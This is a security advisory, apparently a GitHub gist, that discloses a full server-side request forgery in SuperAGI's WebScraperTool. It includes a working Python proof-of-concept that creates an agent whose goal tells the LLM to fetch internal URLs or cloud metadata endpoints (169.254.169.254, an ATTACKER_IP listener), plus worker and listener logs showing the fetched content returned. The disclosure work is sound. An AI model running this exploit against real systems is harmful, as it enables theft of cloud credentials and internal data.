YLChen-007 / **ISSUE-Github-REPORT-SSRF.md** Secret

Created last month

Code Revisions 1

Full SSRF via WebScraperTool allows authenticated users to access internal services and cloud metadata

`ISSUE-Github-REPORT-SSRF.md`

Advisory Details

Title: Full SSRF via WebScraperTool allows authenticated users to access internal services and cloud metadata

Description:

Summary

The `WebScraperTool` in SuperAGI performs server-side HTTP requests to arbitrary URLs supplied through agent goals without any URL validation or IP restriction. An authenticated user can create an agent that fetches content from internal network hosts, localhost services, and cloud metadata endpoints (e.g. `http://169.254.169.254/latest/meta-data/`). The fetched response body is returned to the user through the agent execution feed, making this a **full (non-blind) SSRF** — the attacker can read internal response content.

Details

When a user creates an agent with `WebScraperTool` enabled, the agent's goal/instruction determines what URL the tool will fetch. The data flow is:

1. User calls `POST /agents/create` with a goal like `"Fetch content from http://169.254.169.254/latest/meta-data/"` and includes the `WebScraperTool` in the tools list.
2. User triggers the agent via `PUT /agentexecutions/update/{id}` with `{"status": "RUNNING"}`.

3. The celery worker picks up the task. The LLM processes the goal and calls `WebScraperTool._execute(website_url)`.
4. Inside `_execute()`, `WebpageExtractor().extract_with_bs4(website_url)` is called.
5. `extract_with_bs4()` passes the URL directly to `requests.get()` with no validation:

```
# superagi/helper/webpage_extractor.py, line 101
response = requests.get(url, headers=headers, timeout=10)
```

There is no check on:

- URL scheme (allows `file://`, `gopher://`, etc. depending on `requests` behavior)
- Target hostname/IP (no blocklist for private ranges like `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.169.254`)
- Redirect destination (no post-redirect validation)

The fetched content is returned through the tool result → stored in the execution feed → readable by the attacker via `GET /agentexecutionfeeds/get/execution/{id}`.

The same vulnerability pattern also exists in `extract_with_3k()` (line 50 and 63) and `extract_with_lxml()` (line 144), which also make unvalidated HTTP requests.

PoC

Prerequisites: A running SuperAGI instance with a valid LLM model configured and a registered user account.

1. Start an HTTP listener on the attacker's machine to catch the SSRF request:

```
echo "SSRF_PROOF_CONTENT" > /tmp/ssrf_proof.txt
cd /tmp && python3 -m http.server 8080
```

2. Save the following exploit script as `poc_ssrf.py`:

```
#!/usr/bin/env python3
import requests, sys, time

BASE   = "http://TARGET:3000"       # SuperAGI backend
EMAIL  = "user@example.com"         # valid account
PASSWD = "password123"
PROBE  = "http://ATTACKER_IP:8080/ssrf_proof.txt"   # internal/attacker URL
```

```
s = requests.Session()

# Authenticate
r = s.post(f"{BASE}/login", json={"email": EMAIL, "password": PASSWD})
assert r.status_code == 200, f"Login failed: {r.text}"
s.headers["Authorization"] = f"Bearer {r.json()['access_token']}"

# Create agent targeting the internal URL
r = s.post(f"{BASE}/agents/create", json={
    "name": f"ssrf-{int(time.time())}", "project_id": 1,
    "description": "probe",
    "goal": [f"Fetch the content from {PROBE} and return it."],
    "instruction": [f"Use WebScraperTool with website_url={PROBE}"],
    "agent_workflow": "Goal Based Workflow",
    "constraints": [], "toolkits": [], "tools": [33],
    "exit": "exit", "iteration_interval": 500,
    "model": "gpt-3.5-turbo", "permission_type": "None",
    "LTM_DB": "Pinecone", "max_iterations": 3,
    "user_timezone": "UTC", "knowledge": None
})
exec_id = r.json()["execution_id"]
print(f"[+] Agent created, exec_id={exec_id}")

# Trigger execution
s.put(f"{BASE}/agentexecutions/update/{exec_id}", json={"status": "RUNNING"})
print("[*] Waiting for agent execution...")
time.sleep(45)

# Read results — attacker gets the internal response content
r = s.get(f"{BASE}/agentexecutionfeeds/get/execution/{exec_id}")
for f in r.json().get("feeds", []):
    if f.get("feed"):
        print(f"  [{f['role']}] {f['feed'][:300]}")
```

3. Run the exploit:

```
python3 poc_ssrf.py
```

4. Observe the HTTP listener terminal — an incoming GET request from the SuperAGI container confirms the SSRF:

```
172.26.0.5 - - [07/Mar/2026 11:53:10] "GET /ssrf_proof.txt HTTP/1.1" 200 -
```

5. The script output shows the fetched content returned via the execution feed API, confirming full (non-blind) SSRF.

Log of Evidence

HTTP listener log — server-side request received from the SuperAGI container:

```
172.26.0.5 - - [07/Mar/2026 11:53:10] "GET /ssrf_proof.txt HTTP/1.1" 200 -
```

Celery worker log — shows the agent calling WebScraperTool and returning the fetched content:

```
[2026-03-07 03:53:03,488: DEBUG/ForkPoolWorker-8] [{'role': 'system',
'content': '...GOALS:\n1. Use the WebScraperTool to fetch the content from
http://172.17.0.1:8080/ssrf_proof.txt ...'}]
...
[2026-03-07 03:53:28,737: DEBUG/ForkPoolWorker-8] {
    "thoughts": {
        "text": "I have successfully fetched the content from the URL. The
response contains the text 'SSRF_PROOF_FLAG:
7b7d5f6a3c1e8a9b4f2d0c5e6a7b8d9e'..."
    },
    "tool": {
        "name": "finish",
        "args": {
            "response": "Fetched content from
http://172.17.0.1:8080/ssrf_proof.txt: SSRF_PROOF_FLAG:
7b7d5f6a3c1e8a9b4f2d0c5e6a7b8d9e"
        }
    }
}
```

PoC script output — attacker reads internal content via the execution feed API:

```
[*] Logging in as attacker@evil.com...
[+] Login successful, token acquired
[*] Creating SSRF agent targeting: http://172.17.0.1:8080/ssrf_proof.txt
[+] Agent created! ID: 8, Execution ID: 8
[+] Execution triggered!
[*] Waiting 45s for agent execution via celery worker...
.............172.26.0.5 - - [07/Mar/2026 11:53:10] "GET /ssrf_proof.txt
HTTP/1.1" 200 -
...............................
[+] 5 feed entries:
  [system] Tool WebScraperTool returned:
  [assistant] Fetched content from http://172.17.0.1:8080/ssrf_proof.txt:
SSRF_PROOF_FLAG: 7b7d5f6a3c1e8a9b4f2d0c5e6a7b8d9e
```

Impact

This is a **full (non-blind) Server-Side Request Forgery**. An authenticated attacker can:

- **Steal cloud credentials**: Fetch IAM role credentials from AWS metadata (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`), GCP service account tokens, or Azure IMDS tokens, leading to full cloud account compromise.
- **Scan internal network**: Probe internal hosts and ports to map the infrastructure behind the firewall.
- **Access internal services**: Read data from internal APIs, databases exposing HTTP interfaces, admin panels, or monitoring dashboards that are not exposed to the internet.
- **Exfiltrate data**: The response content (up to 600 words) is returned to the attacker through the execution feed API, making this a non-blind SSRF with direct data exfiltration capability.

Any user with a valid account (including the lowest-privilege accounts) can exploit this.

Affected products

- **Ecosystem**: pip
- **Package name**: SuperAGI
- **Affected versions**: <= latest (commit `c3c1982e7bd6a11cfed53c5a193ea502f924b1b6`)
- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Weaknesses

- **CWE**: CWE-918: Server-Side Request Forgery (SSRF)

Occurrences

Permalink
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L101
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L50
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L144
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e